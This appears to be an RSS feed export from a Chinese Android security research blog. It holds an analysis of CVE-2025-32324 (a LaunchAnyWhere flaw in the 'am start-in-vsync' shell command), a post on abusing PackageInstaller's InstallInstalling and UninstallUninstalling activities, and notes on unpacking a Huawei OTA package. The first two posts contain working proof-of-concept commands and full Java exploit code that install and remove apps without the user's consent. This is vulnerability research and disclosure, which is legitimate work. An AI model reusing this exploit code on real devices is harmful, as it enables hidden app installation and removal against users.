小路小站 https://wrlus.com Security Research Fri, 31 Oct 2025 05:53:22 +0000 zh-Hans hourly 1 https://wordpress.org/?v=6.9.4 https://wrlus.com/wp-content/uploads/2021/07/cropped-Teresa-32x32.png 小路小站 https://wrlus.com 32 32 CVE-2025-32324 漏洞分析 https://wrlus.com/android-security/cve-2025-32324/ Tue, 30 Sep 2025 06:17:16 +0000 https://wrlus.com/?p=1400 简介

在ActivityManagerShellCommand的start-in-vsync命令中存在鉴权信息未正确传递的问题,导致可以通过这个接口实现LaunchAnyWhere,拉起系统中任意未导出的Activity。

漏洞分析

代码比较简单:

//...
case "start":
case "start-activity":
    return runStartActivity(pw);
case "start-in-vsync":
    final ProgressWaiter waiter = new ProgressWaiter(0);
    final int[] startResult = new int[1];
    startResult[0] = -1;
    mInternal.mUiHandler.runWithScissors(
            () -> Choreographer.getInstance().postFrameCallback(frameTimeNanos -> {
                try {
                    startResult[0] = runStartActivity(pw);
                    waiter.onFinished(0, null /* extras */);
                } catch (Exception ex) {
                    getErrPrintWriter().println(
                            "Error: unable to start activity, " + ex);
                }
            }),
            USER_OPERATION_TIMEOUT_MS / 2);
    waiter.waitForFinish(USER_OPERATION_TIMEOUT_MS);
    return startResult[0];
//...

和正常的start-activity命令比较,主要差异就是start-in-vsync是在ATMS的mUiHandler中执行runStartActivity的,而通过Handler进行线程间通信时,Binder中的鉴权信息会丢失,导致后续startActivityAsUserWithFeature获得的鉴权信息是system_server进程的,我们可以很容易地通过一些日志验证这一点。

//...
case "start":
case "start-activity":
    pw.println("In AMSC.onCommand: callingUid=" + Binder.getCallingUid() + ", callingPid=" + Binder.getCallingPid());
    return runStartActivity(pw);
case "start-in-vsync":
    final ProgressWaiter waiter = new ProgressWaiter(0);
    final int[] startResult = new int[1];
    startResult[0] = -1;
    mInternal.mUiHandler.runWithScissors(
            () -> Choreographer.getInstance().postFrameCallback(frameTimeNanos -> {
                try {
                    pw.println("In AMSC.onCommand: callingUid=" + Binder.getCallingUid() + ", callingPid=" + Binder.getCallingPid());
                    startResult[0] = runStartActivity(pw);
                    waiter.onFinished(0, null /* extras */);
                } catch (Exception ex) {
                    getErrPrintWriter().println(
                            "Error: unable to start activity, " + ex);
                }
            }),
            USER_OPERATION_TIMEOUT_MS / 2);
    waiter.waitForFinish(USER_OPERATION_TIMEOUT_MS);
    return startResult[0];
//...

PoC

$ adb shell am start -n com.android.settings/.SubSettings
In AMSC.onCommand: callingUid=2000, callingPid=3873
Starting: Intent { cmp=com.android.settings/.SubSettings }

Exception occurred while executing 'start':
java.lang.SecurityException: Permission Denial: starting Intent { flg=0x10000000 cmp=com.android.settings/.SubSettings } from null (pid=3873, uid=2000) not exported from uid 1000
        at com.android.server.wm.ActivityTaskSupervisor.checkStartAnyActivityPermission(ActivityTaskSupervisor.java:1184)
        at com.android.server.wm.ActivityStarter.executeRequest(ActivityStarter.java:1223)
        at com.android.server.wm.ActivityStarter.execute(ActivityStarter.java:865)
        at com.android.server.wm.ActivityTaskManagerService.startActivityAsUser(ActivityTaskManagerService.java:1321)
        at com.android.server.wm.ActivityTaskManagerService.startActivityAsUser(ActivityTaskManagerService.java:1262)
        at com.android.server.am.ActivityManagerService.startActivityAsUserWithFeature(ActivityManagerService.java:3245)
        at com.android.server.am.ActivityManagerShellCommand.runStartActivity(ActivityManagerShellCommand.java:869)
        at com.android.server.am.ActivityManagerShellCommand.onCommand(ActivityManagerShellCommand.java:251)
        at com.android.modules.utils.BasicShellCommandHandler.exec(BasicShellCommandHandler.java:97)
        at android.os.ShellCommand.exec(ShellCommand.java:38)
        at com.android.server.am.ActivityManagerService.onShellCommand(ActivityManagerService.java:10406)
        at android.os.Binder.shellCommand(Binder.java:1143)
        at android.os.Binder.onTransact(Binder.java:945)
        at android.app.IActivityManager$Stub.onTransact(IActivityManager.java:5733)
        at com.android.server.am.ActivityManagerService.onTransact(ActivityManagerService.java:2721)
        at android.os.Binder.execTransactInternal(Binder.java:1411)
        at android.os.Binder.execTransact(Binder.java:1350)

$ adb shell am start-in-vsync -n com.android.settings/.SubSettings
In AMSC.onCommand: callingUid=2000, callingPid=3914
In ATMS.mUiHandler: callingUid=1000, callingPid=1306
Starting: Intent { cmp=com.android.settings/.SubSettings }

可以很清楚地看到,在经过ATMS的UI Handler中执行代码后,鉴权信息丢失,导致了这次LAW漏洞的出现。

限制

这个漏洞仅存在于ActivityManagerShellCommand中,所以你无法通过任何ATMS的Binder IPC接口去触发,而只能使用am命令,这样一来我们便无法在Intent中添加任意的Parcelable参数。这样一来,这个漏洞的威力就大大被限制了————因为攻击者无法再结合其它UID>10000应用的Intent Bridge漏洞去访问其FileProvider。

利用尝试

另外一个比较容易想到的便是去攻击InstallInstalling,实现伪静默安装。但是经过测试之后发现这条路也无法行得通,攻击代码:

 public static int writeApkToPackageInstaller(Context context, File apkFile) throws IOException {
     if (!apkFile.exists() || !apkFile.getName().endsWith(".apk")) {
         Log.e(TAG, "Must use an apk file to silent install.");
         return -1;
     }
     // 打开PackageInstaller的session
     PackageInstaller pi = context.getPackageManager().getPackageInstaller();
     PackageInstaller.SessionParams params =
             new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
     int sessionId = pi.createSession(params);
     PackageInstaller.Session session = pi.openSession(sessionId);
     // 写入apk到session
     OutputStream os = session.openWrite("package", 0, -1);
     FileInputStream fis = new FileInputStream(apkFile);
     byte[] buffer = new byte[4096];
     for (int n; (n = fis.read(buffer)) > 0;) {
         os.write(buffer, 0, n);
     }
     fis.close();
     os.flush();
     os.close();
     return sessionId;
 }
 public static void exploitCVE_2025_32324(int sessionId, File apkFile) throws IOException {
     if (!Android.checkIfSecurityPatchBefore("2025-09-01")) {
         Log.e(TAG, "Oops! It looks like CVE-2025-32324 bug has been fixed on this device.");
         return;
     }
     String[] cmd = {
             "am", "start-in-vsync",
             "-n", Constants.Package.PACKAGE_INSTALLER + "/.InstallInstalling",
             "-d", Uri.fromFile(apkFile).toString(),
             "--ei", "EXTRA_STAGED_SESSION_ID", Integer.toString(sessionId),
     };
     Process p = Runtime.getRuntime().exec(cmd);
     BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
     String output;
     while ((output = reader.readLine()) != null) {
         Log.d(TAG, output);
     }
 }
 public static void autoInstallFromAsset(Context context, String asset) throws IOException {
     File apkFile = new File(context.getCacheDir(), asset);
     Android.copyAsset(context, asset, apkFile);
     int sessionId = AndroidH.writeApkToPackageInstaller(context, apkFile);
     // 将文件复制到download目录
     // 如果文件存在会重复
     Android.copyFileToDownload(context, apkFile, apkFile.getName(),
             "application/vnd.android.package-archive");
     // 传给InstallInstalling的时候,需要是file uri
     // 因为后面是由uid 1000执行startActivityAsUser,所以不会受到FileUriExposedException的影响
     File apkFileInDownload = new File(Environment
             .getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), apkFile.getName());
     exploitCVE_2025_32324(sessionId, apkFileInDownload);
 }

这里的问题是,正常我们是需要一个ApplicationInfo对象作为参数,而我们无法通过命令传递它:

public static Intent createInstallingIntent(Context context, int sessionId, File apkFile) {
    // 构造调用InstallInstalling的Intent
    Intent installingIntent = new Intent();
    installingIntent.setClassName(Constants.Package.PACKAGE_INSTALLER,
            Constants.Package.PACKAGE_INSTALLER + ".InstallInstalling");
    installingIntent.putExtra("EXTRA_STAGED_SESSION_ID", sessionId);
    installingIntent.setData(Uri.fromFile(apkFile));
    PackageInfo packageInfo = context.getPackageManager()
            .getPackageArchiveInfo(apkFile.getAbsolutePath(), PackageManager.GET_PERMISSIONS);
    if (packageInfo == null) {
        Log.e(TAG, "getPackageArchiveInfo returns null, failed to auto install.");
        return null;
    }
    installingIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    // ** 命令行中无法添加此参数 **
    installingIntent.putExtra("com.android.packageinstaller.applicationInfo",
            packageInfo.applicationInfo);
    return installingIntent;
}

本来在Android 14和以前的版本,没有ApplicationInfo对象也是可以安装成功的,只是无法显示出界面,但是在下面这个补丁中对流程进行了修改:

-            PackageUtil.AppSnippet as = getIntent()
-                    .getParcelableExtra(EXTRA_APP_SNIPPET, PackageUtil.AppSnippet.class);
+
+            // Dialogs displayed while changing update-owner have a blank icon. To fix this,
+            // fetch the appSnippet from the source file again
+            PackageUtil.AppSnippet as = PackageUtil.getAppSnippet(this, appInfo, sourceFile);
+            getIntent().putExtra(EXTRA_APP_SNIPPET, as);

本来实际上拿到的appInfo对象,是在openSession开始安装之后才使用,所以appInfo为NULL的情况下即使产生了NPE,也不会影响PMS正常执行安装,只是界面无法显示而已,但是修改后的代码会使用PackageUtil.getAppSnippet去获得一个AppSnippet对象,而这里面会大量引用到appInfo,就无法在不传此参数的前提下完成利用:

/**
 * Utility method to load application label
 *
 * @param pContext context of package that can load the resources
 * @param appInfo ApplicationInfo object of package whose resources are to be loaded
 * @param sourceFile File the package is in
 */
public static AppSnippet getAppSnippet(
        Activity pContext, ApplicationInfo appInfo, File sourceFile) {
    final String archiveFilePath = sourceFile.getAbsolutePath();
    PackageManager pm = pContext.getPackageManager();
    appInfo.publicSourceDir = archiveFilePath;

    if (appInfo.splitNames != null && appInfo.splitSourceDirs == null) {
        final File[] files = sourceFile.getParentFile().listFiles(
                (dir, name) -> name.endsWith(SPLIT_APK_SUFFIX));
        final String[] splits = Arrays.stream(appInfo.splitNames)
                .map(i -> findFilePath(files, i + SPLIT_APK_SUFFIX))
                .filter(Objects::nonNull)
                .toArray(String[]::new);

        appInfo.splitSourceDirs = splits;
        appInfo.splitPublicSourceDirs = splits;
    }

    CharSequence label = null;
    // Try to load the label from the package's resources. If an app has not explicitly
    // specified any label, just use the package name.
    if (appInfo.labelRes != 0) {
        try {
            label = appInfo.loadLabel(pm);
        } catch (Resources.NotFoundException e) {
        }
    }
    if (label == null) {
        label = (appInfo.nonLocalizedLabel != null) ?
                appInfo.nonLocalizedLabel : appInfo.packageName;
    }
    Drawable icon = null;
    // Try to load the icon from the package's resources. If an app has not explicitly
    // specified any resource, just use the default icon for now.
    try {
        if (appInfo.icon != 0) {
            try {
                icon = appInfo.loadIcon(pm);
            } catch (Resources.NotFoundException e) {
            }
        }
        if (icon == null) {
            icon = pContext.getPackageManager().getDefaultActivityIcon();
        }
    } catch (OutOfMemoryError e) {
        Log.i(LOG_TAG, "Could not load app icon", e);
    }
    return new PackageUtil.AppSnippet(label, icon, pContext);
}

实际测试的日志验证了这一点,在方法开头尝试写入appInfo.publicSourceDir时便抛出NPE杀死了PackageInstaller,就不会有机会进行安装。

E  FATAL EXCEPTION: main
   Process: com.android.packageinstaller, PID: 31447
   java.lang.RuntimeException: Unable to start activity ComponentInfo{com.android.packageinstaller/com.android.packageinstaller.InstallInstalling}: java.lang.NullPointerException: Attempt to write to field 'java.lang.String android.content.pm.ApplicationInfo.publicSourceDir' on a null object reference in method 'com.android.packageinstaller.PackageUtil$AppSnippet com.android.packageinstaller.PackageUtil.getAppSnippet(android.app.Activity, android.content.pm.ApplicationInfo, java.io.File)'
    at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:4206)
    at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:4393)
    at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:222)
    at android.app.servertransaction.TransactionExecutor.executeNonLifecycleItem(TransactionExecutor.java:133)
    at android.app.servertransaction.TransactionExecutor.executeTransactionItems(TransactionExecutor.java:103)
    at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:80)
    at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2773)
    at android.os.Handler.dispatchMessage(Handler.java:109)
    at android.os.Looper.loopOnce(Looper.java:232)
    at android.os.Looper.loop(Looper.java:317)
    at android.app.ActivityThread.main(ActivityThread.java:8934)
    at java.lang.reflect.Method.invoke(Native Method)
    at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:591)
    at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:911)
   Caused by: java.lang.NullPointerException: Attempt to write to field 'java.lang.String android.content.pm.ApplicationInfo.publicSourceDir' on a null object reference in method 'com.android.packageinstaller.PackageUtil$AppSnippet com.android.packageinstaller.PackageUtil.getAppSnippet(android.app.Activity, android.content.pm.ApplicationInfo, java.io.File)'
    at com.android.packageinstaller.PackageUtil.getAppSnippet(PackageUtil.java:240)
    at com.android.packageinstaller.InstallInstalling.onCreate(InstallInstalling.java:99)
    at android.app.Activity.performCreate(Activity.java:9079)
    at android.app.Activity.performCreate(Activity.java:9057)
    at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1531)
    at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:4188)
    at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:4393) 
    at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:222) 
    at android.app.servertransaction.TransactionExecutor.executeNonLifecycleItem(TransactionExecutor.java:133) 
    at android.app.servertransaction.TransactionExecutor.executeTransactionItems(TransactionExecutor.java:103) 
    at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:80) 
    at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2773) 
    at android.os.Handler.dispatchMessage(Handler.java:109) 
    at android.os.Looper.loopOnce(Looper.java:232) 
    at android.os.Looper.loop(Looper.java:317) 
    at android.app.ActivityThread.main(ActivityThread.java:8934) 
    at java.lang.reflect.Method.invoke(Native Method) 
    at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:591) 
    at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:911) 
]]>
InstallInstalling调用研究 https://wrlus.com/android-security/package-installer-install-installing/ Tue, 17 Jun 2025 09:50:52 +0000 https://wrlus.com/?p=1336 前言

对于LaunchAnyWhere漏洞的利用,传统的思路是system uid FileProvider转换为system_app权限的任意文件读写,但是很遗憾的是Android在这里有缓解措施,不允许system和root uid随意给其它uid授予URI权限,曾经也出现过厂商在这块开后面,又被安全研究员绕过的故事,例如我给三星提的CVE-2023-21474可以实现在AOSP Nday CVE-2022-20223修复后,仍然可以进行利用。但是这类漏洞逐渐都已经修复,所以对于LaunchAnyWhere漏洞,需要思考一些其它利用方式。

本文不会讨论任何前置的LaunchAnyWhere漏洞,只讨论在实现LaunchAnyWhere之后,如何利用InstallInstalling实现自动安装。

InstallInstalling

Android除了利用静默安装权限去装应用之外,其它应用只能通过PackageInstaller安装应用,其原理是先调用com.android.packageinstaller.InstallStart,这里面会调用另外两个Activity从调用方的FileProvider拷贝apk文件到系统,然后再跳转到com.android.packageinstaller.PackageInstallerActivity去让用户确认,用户确认之后调用com.android.packageinstaller.InstallInstalling进行安装,最后调用com.android.packageinstaller.InstallSuccess显示安装成功画面,或者是com.android.packageinstaller.InstallFailed安装失败。InstallInstalling的Manifest定义如下:

<activity android:name=".InstallInstalling" android:exported="false" />

那么我们既然可以实现LaunchAnyWhere,能否直接调用com.android.packageinstaller.InstallInstalling来绕过未知来源权限和用户的交互,直接实现自动安装呢?答案是肯定的,经过代码的阅读发现,InstallInstalling的前一个页面是PackageInstallerActivity,我们只需要按照InstallStaging构造参数的方式,直接调用InstallInstalling,就可以实现,正常情况下在PackageInstallerActivity中,用户点击安装按钮之后,调用InstallInstalling的代码如下:

private void startInstall() {
    String installerPackageName = getIntent().getStringExtra(
            Intent.EXTRA_INSTALLER_PACKAGE_NAME);
    int stagedSessionId = getIntent().getIntExtra(EXTRA_STAGED_SESSION_ID, 0);

    // Start subactivity to actually install the application
    Intent newIntent = new Intent();
    newIntent.putExtra(PackageUtil.INTENT_ATTR_APPLICATION_INFO,
            mPkgInfo.applicationInfo);
    newIntent.setData(mPackageURI);
    newIntent.setClass(this, InstallInstalling.class);
    if (mOriginatingURI != null) {
        newIntent.putExtra(Intent.EXTRA_ORIGINATING_URI, mOriginatingURI);
    }
    if (mReferrerURI != null) {
        newIntent.putExtra(Intent.EXTRA_REFERRER, mReferrerURI);
    }
    if (mOriginatingUid != Process.INVALID_UID) {
        newIntent.putExtra(Intent.EXTRA_ORIGINATING_UID, mOriginatingUid);
    }
    if (installerPackageName != null) {
        newIntent.putExtra(Intent.EXTRA_INSTALLER_PACKAGE_NAME,
                installerPackageName);
    }
    if (getIntent().getBooleanExtra(Intent.EXTRA_RETURN_RESULT, false)) {
        newIntent.putExtra(Intent.EXTRA_RETURN_RESULT, true);
    }
    if (stagedSessionId > 0) {
        newIntent.putExtra(EXTRA_STAGED_SESSION_ID, stagedSessionId);
    }
    if (mAppSnippet != null) {
        newIntent.putExtra(EXTRA_APP_SNIPPET, mAppSnippet);
    }
    newIntent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
    if (mLocalLOGV) Log.i(TAG, "downloaded app uri=" + mPackageURI);
    startActivity(newIntent);
    finish();
}

这里面关键的参数就只有EXTRA_STAGED_SESSION_ID,INTENT_ATTR_APPLICATION_INFO和mPackageURI,前者需要我们自己打开一个PackageInstaller的session,并获得sessionId传入,第二个需要我们自己调用getPackageArchiveInfo解析一下安装包信息,获取ApplicationInfo对象并传入,而mPackageURI根据代码,则需要一个file scheme,这在Android 11以上版本就有些困难,因为我们的应用已经无法访问sdcard公共存储,又不能将自己私有目录的文件直接通过file scheme共享出去。这里原本的逻辑实际上是PackageInstaller先在InstallStaging中读取了调用方FileProvider的文件并复制到它的目录,然后再获取一个file scheme到这里,这里我们必须想办法构造一个file scheme给PackageInstaller。

MediaStore写入下载目录

因为要构造file scheme,我们可以选择不适配沙盒存储,然后直接申请传统的存储权限(<code>READ_EXTERNAL_STORAGE</code>),但是我认为向用户申请权限就不够完美。这里我想到一个点Android 10以上可以使用MediaStore向下载目录写入文件,而无需任何权限:

public static void copyFileToDownload(Context context, File source,
                                      String name, String mineType) throws IOException {
    ContentValues values = new ContentValues();
    values.put(MediaStore.MediaColumns.DISPLAY_NAME, name);
    values.put(MediaStore.MediaColumns.MIME_TYPE, mineType);
    values.put(MediaStore.MediaColumns.RELATIVE_PATH, Environment.DIRECTORY_DOWNLOADS);

    Uri uri = context.getContentResolver()
            .insert(MediaStore.Downloads.EXTERNAL_CONTENT_URI, values);
    if (uri != null) {
        FileInputStream fis = new FileInputStream(source);
        OutputStream os = context.getContentResolver().openOutputStream(uri);
        if (os == null) {
            Log.e(TAG, "openOutputStream failed.");
            return;
        }
        FileUtils.copy(fis, os);
        os.close();
        fis.close();
    } else {
        Log.e(TAG, "Failed to create file");
    }
}

然后再手动构造一个file scheme传给PackageInstaller:

File apkFileInDownload = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), apkFile.getName());
//...
installingIntent.setData(Uri.fromFile(apkFileInDownload));

正常来说,在Android 7.0以上版本,如果data字段使用file scheme的话,当调用startActivity的时候会抛出FileUriExposedException,但是这里因为最后是system uid去启动页面,所以不会受到FileUriExposedException的影响。

自动安装实现

至此已经可以调用<code>InstallInstalling</code>完成任务,不过我发现在Android 14中如果不传入<code>INTENT_ATTR_APPLICATION_INFO</code>的话,<code>InstallInstalling</code>在提交PackageInstaller的session之后就会因为解析不到应用信息而崩溃,这样便实现了隐蔽安装(UI一闪而过,不是完全静默)。当然如果正常传这个参数,就会正常显示安装页面直到安装完成:

if (ignoreInstalling) {
    installingIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK |
            Intent.FLAG_ACTIVITY_NO_ANIMATION);
} else {
    // 需要按照的方式解析一份ApplicationInfo给InstallInstalling
    // 如果不传这个参数,InstallInstalling在提交安装Session之后就会崩溃,实现不显示安装进度效果。
    PackageInfo packageInfo = context.getPackageManager()
            .getPackageArchiveInfo(apkFile.getAbsolutePath(), PackageManager.GET_PERMISSIONS);
    if (packageInfo == null) {
        Log.e(TAG, "getPackageArchiveInfo returns null, fail to silent install.");
        return;
    }
    installingIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    installingIntent.putExtra("com.android.packageinstaller.applicationInfo",
            packageInfo.applicationInfo);
}

【更新】Android 15开始代码逻辑变更,必须要有这个参数才行,不然无法走到后面安装流程。

自动卸载实现

除了InstallInstalling以外,还可以通过UninstallUninstalling实现自动卸载,原理比较类似,这里需要构造一个ApplicationInfo传过去:

Intent uninstallingIntent = new Intent();

uninstallingIntent.setClassName(Constants.PACKAGE_INSTALLER_PKG,
        Constants.PACKAGE_INSTALLER_PKG + ".UninstallUninstalling");
ApplicationInfo applicationInfo = null;
try {
    applicationInfo = context.getPackageManager()
            .getApplicationInfo(packageName, 0);
} catch (PackageManager.NameNotFoundException e) {
    Log.e(TAG, "NameNotFoundException, failed to uninstall.", e);
    return;
}

uninstallingIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
uninstallingIntent.putExtra("com.android.packageinstaller.applicationInfo",
        applicationInfo);
uninstallingIntent.putExtra("android.content.pm.extra.CALLBACK", (Parcelable) null);
uninstallingIntent.putExtra("com.android.packageinstaller.extra.APP_LABEL",
        applicationInfo.name);
uninstallingIntent.putExtra("android.intent.extra.UNINSTALL_ALL_USERS", true);
uninstallingIntent.putExtra("com.android.packageinstaller.extra.KEEP_DATA", false);
uninstallingIntent.putExtra("android.intent.extra.USER", Process.myUserHandle());
uninstallingIntent.putExtra("android.content.pm.extra.DELETE_FLAGS", 0);

然后就可以静默卸载掉这个应用。

完整代码

public static void autoInstall(Context context, File apkFile, boolean ignoreInstalling) throws IOException {
    if (!apkFile.exists() || !apkFile.getName().endsWith(".apk")) {
        Log.e(TAG, "Must use an apk file to silent install.");
        return;
    }
    // 打开PackageInstaller的session
    PackageInstaller pi = context.getPackageManager().getPackageInstaller();
    PackageInstaller.SessionParams params =
            new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
    int sessionId = pi.createSession(params);
    PackageInstaller.Session session = pi.openSession(sessionId);
    // 写入apk到session
    OutputStream os = session.openWrite("package", 0, -1);
    FileInputStream fis = new FileInputStream(apkFile);
    byte[] buffer = new byte[4096];
    for (int n; (n = fis.read(buffer)) > 0;) {
        os.write(buffer, 0, n);
    }
    fis.close();
    os.flush();
    os.close();
    // 将文件复制到download目录
    // 如果文件存在会重复
    Android.copyFileToDownload(context, apkFile, apkFile.getName(),
            "application/vnd.android.package-archive");
    // 传给InstallInstalling的时候,需要是file uri
    // 因为后面是由system_server执行startActivityAsUser,所以不会受到FileUriExposedException的影响
    File apkFileInDownload = new File(Environment
            .getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), apkFile.getName());
    // 构造调用InstallInstalling的Intent
    Intent installingIntent = new Intent();
    installingIntent.setClassName(Constants.PACKAGE_INSTALLER_PKG,
            Constants.PACKAGE_INSTALLER_PKG + ".NewInstallInstalling");
    installingIntent.putExtra("EXTRA_STAGED_SESSION_ID", sessionId);
    installingIntent.setData(Uri.fromFile(apkFileInDownload));
    if (ignoreInstalling) {
        installingIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK |
                Intent.FLAG_ACTIVITY_NO_ANIMATION);
    } else {
        // 如果不传这个参数,InstallInstalling在提交安装Session之后就会崩溃,实现不显示安装进度效果。
        PackageInfo packageInfo = context.getPackageManager()
                .getPackageArchiveInfo(apkFile.getAbsolutePath(), PackageManager.GET_PERMISSIONS);
        if (packageInfo == null) {
            Log.e(TAG, "getPackageArchiveInfo returns null, failed to auto install.");
            return;
        }
        installingIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        installingIntent.putExtra("com.android.packageinstaller.applicationInfo",
                packageInfo.applicationInfo);
    }
    // exploit system!
    launchAnyWhereExploit(Constants.PACKAGE_INSTALLER_PKG,
            installingIntent, false);
}

public static void autoInstall(Context context, String asset, boolean ignoreInstalling) throws IOException {
    File apkFile = new File(context.getCacheDir(), asset);
    Android.copyAsset(context, asset, apkFile);
    autoInstall(context, apkFile, ignoreInstalling);
}

public static void autoInstallAsync(Context context) {
    Thread installThread = new Thread(() -> {
        try {
            autoInstall(context, "test.apk", false);
        } catch (IOException e) {
            Log.e(TAG, "autoInstallAsync IOException", e);
        }
    });
    installThread.setName("AutoInstallThread");
    installThread.setDaemon(true);
    installThread.start();
}

public static void autoUninstall(Context context, String packageName) {
    // 构造调用UninstallUninstalling的Intent
    Intent uninstallingIntent = new Intent();
    uninstallingIntent.setClassName(Constants.PACKAGE_INSTALLER_PKG,
            Constants.PACKAGE_INSTALLER_PKG + ".UninstallUninstalling");
    ApplicationInfo applicationInfo = null;
    try {
        applicationInfo = context.getPackageManager()
                .getApplicationInfo(packageName, 0);
    } catch (PackageManager.NameNotFoundException e) {
        Log.e(TAG, "NameNotFoundException, failed to uninstall.", e);
        return;
    }

    uninstallingIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    uninstallingIntent.putExtra("com.android.packageinstaller.applicationInfo",
            applicationInfo);
    uninstallingIntent.putExtra("android.content.pm.extra.CALLBACK", (Parcelable) null);
    uninstallingIntent.putExtra("com.android.packageinstaller.extra.APP_LABEL",
            applicationInfo.name);
    uninstallingIntent.putExtra("android.intent.extra.UNINSTALL_ALL_USERS", false);
    uninstallingIntent.putExtra("com.android.packageinstaller.extra.KEEP_DATA", false);
    uninstallingIntent.putExtra("android.intent.extra.USER", Process.myUserHandle());
    uninstallingIntent.putExtra("android.content.pm.extra.DELETE_FLAGS", 0);

    // exploit system!
    launchAnyWhereExploit(Constants.PACKAGE_INSTALLER_PKG,
            uninstallingIntent, false);
}

总结

本文介绍了<code>InstallInstalling</code>和<code>UninstallUninstalling</code>调用方式,可以用于LaunchAnyWhere漏洞的后利用,实现绕过厂商冗长的锁屏密码甚至实名检查,直接安装一个应用。因为这些操作都是会出现界面,用户可感知到,所以也不可能用于完全静默安装,本文仅为技术交流,请勿用于非法用途。

]]>
华为OTA升级包解包记录 https://wrlus.com/harmonyos-next-security/extract-huawei-ota-package/ Sat, 12 Oct 2024 08:33:50 +0000 https://wrlus.com/?p=1323 背景

UPDATE.APP是华为手机升级包的主要部分,解析这个文件可以获得升级包中的文件系统。

<!–more–>

获取升级包

目前华为OTA请求仍旧采用http,所以可以使用热点抓包的方式获取到,例如:

GET /download/data/pub_13/HWHOTA_hota_900_9/93/v3/OQysmoJHSE-Sk1GV2_iRMA/full/update_full_base.zip HTTP/1.1
Host: update.dbankcdn.com
Connection: Keep-Alive
User-Agent: HwOUCDownloadManager

似乎还是永久链接,至少目前看还没有失效。

解析UPDATE.APP

解压下载的<code>update_full_base.zip</code>,可以得到一个<code>UPDATE.APP</code>文件,还有一些其他文件:

-rw-r--r-- 1 xiaolu xiaolu    2067505 2009年 1月 1日 build_tools.zip
-rw-r--r-- 1 xiaolu xiaolu         14 2009年 1月 1日 full_mainpkg.tag
drwxr-xr-x 3 xiaolu xiaolu       4096 10月12日 11:46 META-INF
-rw-r--r-- 1 xiaolu xiaolu         20 2009年 1月 1日 OTA_update.tag
-rw-r--r-- 1 xiaolu xiaolu        102 2009年 1月 1日 packageinfo.mbn
-rw-r--r-- 1 xiaolu xiaolu        854 2009年 1月 1日 permission_hash.bin
-rw-r--r-- 1 xiaolu xiaolu     201912 2009年 1月 1日 PTABLE.APP
-rw-r--r-- 1 xiaolu xiaolu     200704 2009年 1月 1日 ptable.img
-rw-r--r-- 1 xiaolu xiaolu          8 2009年 1月 1日 rom_hota_for_charger
-rw-r--r-- 1 xiaolu xiaolu       8192 2009年 1月 1日 sec_thee_header
-rw-r--r-- 1 xiaolu xiaolu       8192 2009年 1月 1日 sec_xloader_header
-rw-r--r-- 1 xiaolu xiaolu         18 2009年 1月 1日 SOFTWARE_VER_LIST.mbn
-rw-r--r-- 1 xiaolu xiaolu         17 2009年 1月 1日 SOFTWARE_VER.mbn
-rw-r--r-- 1 xiaolu xiaolu          5 2009年 1月 1日 switch_os.tag
-rw-r--r-- 1 xiaolu xiaolu 9601890072 2009年 1月 1日 UPDATE.APP
-rw-r--r-- 1 xiaolu xiaolu         24 2009年 1月 1日 update_feature_list.conf
-rw-r--r-- 1 xiaolu xiaolu         53 2009年 1月 1日 update.tag
-rw-r--r-- 1 xiaolu xiaolu         11 2009年 1月 1日 UPT_VER.tag
-rw-r--r-- 1 xiaolu xiaolu         33 2009年 1月 1日 VERSION.mbn

UPDATE.APP可以用huawei_UPDATE.APP_unpacktool来解析,不过似乎因为年久失修并没有读取出每个镜像的名称,后续可以尝试修复下:

-rw-r--r-- 1 xiaolu xiaolu        256 10月12日 15:20 unknown_file.0
-rw-r--r-- 1 xiaolu xiaolu     585766 10月12日 15:20 unknown_file.1
-rw-r--r-- 1 xiaolu xiaolu     375488 10月12日 15:20 unknown_file.10
-rw-r--r-- 1 xiaolu xiaolu    7397330 10月12日 15:20 unknown_file.11
-rw-r--r-- 1 xiaolu xiaolu     383360 10月12日 15:20 unknown_file.12
-rw-r--r-- 1 xiaolu xiaolu      50152 10月12日 15:20 unknown_file.13
-rw-r--r-- 1 xiaolu xiaolu      69952 10月12日 15:20 unknown_file.14
-rw-r--r-- 1 xiaolu xiaolu    1576960 10月12日 15:20 unknown_file.15
-rw-r--r-- 1 xiaolu xiaolu    1542656 10月12日 15:20 unknown_file.16
-rw-r--r-- 1 xiaolu xiaolu      51855 10月12日 15:20 unknown_file.17
-rw-r--r-- 1 xiaolu xiaolu      75456 10月12日 15:20 unknown_file.18
-rw-r--r-- 1 xiaolu xiaolu     195584 10月12日 15:20 unknown_file.19
-rw-r--r-- 1 xiaolu xiaolu         18 10月12日 15:20 unknown_file.2
-rw-r--r-- 1 xiaolu xiaolu    3331200 10月12日 15:20 unknown_file.20
-rw-r--r-- 1 xiaolu xiaolu     155968 10月12日 15:20 unknown_file.21
-rw-r--r-- 1 xiaolu xiaolu   14680064 10月12日 15:20 unknown_file.22
